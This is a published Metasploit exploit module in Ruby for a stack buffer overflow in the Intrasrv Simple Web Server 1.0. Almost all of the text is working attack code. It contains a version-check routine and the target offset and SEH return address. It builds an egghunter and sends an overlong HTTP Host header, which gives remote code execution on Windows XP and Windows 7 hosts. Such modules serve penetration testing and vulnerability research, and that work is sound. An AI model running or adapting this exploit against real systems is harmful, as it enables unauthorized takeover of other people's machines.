Intrasrv 1.0 Buffer Overflow Exploit

:
16.08.2013
:
Intrasrv 1.0
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Egghunter

def initialize(info={})
super(update_info(info,
'Name' => "Intrasrv 1.0 Buffer Overflow",
'Description' => %q{
This module exploits a boundary condition error in Intrasrv Simple Web
Server 1.0. The web interface does not validate the boundaries of an
HTTP request string prior to copying the data to an insufficiently large
buffer. Successful exploitation leads to arbitrary remote code execution
in the context of the application.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xis_one', # Discovery, PoC
'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit
],
'References' =>
[
['OSVDB', '94097'],
['EDB','18397'],
['BID','60229']
],
'Payload' =>
{
'Space' => 4660,
'StackAdjustment' => -3500,
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'ExitFunction' => "thread"
},
'Platform' => 'win',
'Targets' =>
[
['v1.0 - XP / Win7',
{
'Offset' => 1553,
'Ret' => 0x004097dd #p/p/r - intrasrv.exe
}
]
],
'Privileged' => false,
'DisclosureDate' => "May 30 2013",
'DefaultTarget' => 0))

register_options(
[
OptPort.new('RPORT', [true, 'The remote port', 80])
], self.class)
end

def check
begin
connect
rescue
print_error("Could not connect to target!")
return Exploit::CheckCode::Safe
end
sock.put("GET / HTTP/1.0\r\n\r\n")
res = sock.get_once

if res =~ /intrasrv 1.0/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit
# setup egghunter
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
:checksum=>true
})

# setup buffer
buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128
buf << hunter # egghunter
buf << rand_text(target['Offset']-buf.length) # more junk to offset
buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter
buf << [target.ret].pack("V*") # seh

# second last byte of payload/egg gets corrupted - pad 2 bytes
# so we don't corrupt the actual payload
egg << rand_text(2)

print_status("Sending buffer...")
# Payload location is an issue, so we're using the tcp mixin
# instead of HttpClient here to maximize control over what's sent.
# (i.e. no additional headers to mess with the stack)
connect
sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n")
disconnect
end
end